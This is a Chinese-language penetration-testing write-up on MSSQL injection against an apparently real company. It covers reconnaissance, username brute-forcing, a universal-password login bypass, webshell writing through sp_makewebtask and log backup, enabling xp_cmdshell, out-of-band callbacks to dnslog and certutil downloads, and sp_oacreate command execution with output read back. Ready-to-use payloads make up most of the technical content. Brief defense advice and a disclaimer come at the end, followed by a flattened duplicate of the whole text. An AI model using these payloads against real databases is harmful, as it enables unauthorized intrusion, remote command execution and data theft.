记一次无回显不出网站库分离
字数 932 2025-08-29 08:31:47

MSSQL注入与无回显Getshell技术详解

一、前期信息收集

  1. 目标定位

    • 通过扫描二维码获取公司名称
    • 使用公司名称进行百度搜索,定位数据中心
    • 通过FOFA搜索IP发现旁站
  2. 账号爆破

    • 使用Burp Suite爆破"常见用户名Top500"
    • 成功获取三个账号及其中一个密码
  3. 系统信息收集

    • 数据库类型:MSSQL 2012
    • 权限级别:dbo权限
    • 操作系统:Windows 6.2(Server 2012)

二、SQL注入发现与利用

  1. 注入点发现

    • 密码字段添加单引号触发SQL报错
    • 确认存在SQL注入漏洞
  2. 万能密码登录

    • 使用万能密码进入后台,但仅获得游客权限

三、MSSQL Getshell技术详解

1. Webshell写入技术

1.1 sp_makewebtask方法

  • 前提条件

    • dbo或sa权限
    • 对目标路径有写权限
    • sp_makewebtask扩展存在
  • 利用步骤

';create table cmd (a image)--
';insert into cmd(a) values(0x616263)--
';execute sp_makewebtask @outputfile='D:\test\1.txt','@query='select a from cmd'--
';drop table cmd--

1.2 日志备份(Log Backup)方法

  • 前提条件

    • 数据库设置为完整恢复模式
    • 知道网站绝对路径
  • 利用步骤

;alter database 数据库名称 set RECOVERY FULL --
;create table cmd (a image) --
;backup log db_name to disk = 'E:\test\test.aspx' with init --
;insert into cmd (a) values ('hex_webshell')--
;backup log 数据库名称 to disk = 'E:\test\test.aspx' --

2. 站库分离判断

  • 使用以下命令判断是否为站库分离:
@@servername > 0
select host_name > 0

四、无回显命令执行技术

1. xp_cmdshell扩展

  • 启用与使用
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
  • 命令执行测试
;exec master..xp_cmdshell 'ping xxx.dnslog.cn'
;exec master..xp_cmdshell 'certutil -urlcache -f -split http://xxx/'
;exec master..xp_cmdshell 'nslookup xxx.dnslog.cn'

2. sp_oacreate扩展

  • 无回显命令执行
;declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami > c:\\1.txt'
  • 结果读取技术
create table testa(line text);
bulk insert testa from 'c:\\1.txt' with (fieldterminator='n',ROWTERMINATOR='nn');
and 1=(select top 1 * from 数据库名..testa FOR XML PATH(''))

五、常见问题与解决方案

  1. 无法进行大容量加载

    • 可能原因:命令未执行完成
    • 解决方案:等待后重试
  2. 二进制截断问题

    • 可能原因:字段长度限制
    • 解决方案:使用findstr过滤所需内容

六、防御建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用参数化查询
  2. 权限控制

    • 遵循最小权限原则
    • 限制数据库账户权限
  3. 安全配置

    • 禁用不必要的存储过程(xp_cmdshell, sp_oacreate等)
    • 定期更新和打补丁
  4. 监控与日志

    • 实施全面的日志记录
    • 设置异常行为告警

七、总结

本文详细介绍了MSSQL注入的各种技术手段,特别是在无回显环境下的Getshell方法。从基础的信息收集到高级的命令执行技术,涵盖了实际渗透测试中可能遇到的各种场景。安全人员应了解这些技术以更好地防御,同时强调这些技术仅用于合法授权的安全测试。

MSSQL注入与无回显Getshell技术详解 一、前期信息收集 目标定位 : 通过扫描二维码获取公司名称 使用公司名称进行百度搜索,定位数据中心 通过FOFA搜索IP发现旁站 账号爆破 : 使用Burp Suite爆破"常见用户名Top500" 成功获取三个账号及其中一个密码 系统信息收集 : 数据库类型:MSSQL 2012 权限级别:dbo权限 操作系统:Windows 6.2(Server 2012) 二、SQL注入发现与利用 注入点发现 : 密码字段添加单引号触发SQL报错 确认存在SQL注入漏洞 万能密码登录 : 使用万能密码进入后台,但仅获得游客权限 三、MSSQL Getshell技术详解 1. Webshell写入技术 1.1 sp_ makewebtask方法 前提条件 : dbo或sa权限 对目标路径有写权限 sp_ makewebtask扩展存在 利用步骤 : 1.2 日志备份(Log Backup)方法 前提条件 : 数据库设置为完整恢复模式 知道网站绝对路径 利用步骤 : 2. 站库分离判断 使用以下命令判断是否为站库分离: 四、无回显命令执行技术 1. xp_ cmdshell扩展 启用与使用 : 命令执行测试 : 2. sp_ oacreate扩展 无回显命令执行 : 结果读取技术 : 五、常见问题与解决方案 无法进行大容量加载 : 可能原因:命令未执行完成 解决方案:等待后重试 二进制截断问题 : 可能原因:字段长度限制 解决方案:使用findstr过滤所需内容 六、防御建议 输入验证 : 对所有用户输入进行严格过滤 使用参数化查询 权限控制 : 遵循最小权限原则 限制数据库账户权限 安全配置 : 禁用不必要的存储过程(xp_ cmdshell, sp_ oacreate等) 定期更新和打补丁 监控与日志 : 实施全面的日志记录 设置异常行为告警 七、总结 本文详细介绍了MSSQL注入的各种技术手段,特别是在无回显环境下的Getshell方法。从基础的信息收集到高级的命令执行技术,涵盖了实际渗透测试中可能遇到的各种场景。安全人员应了解这些技术以更好地防御,同时强调这些技术仅用于合法授权的安全测试。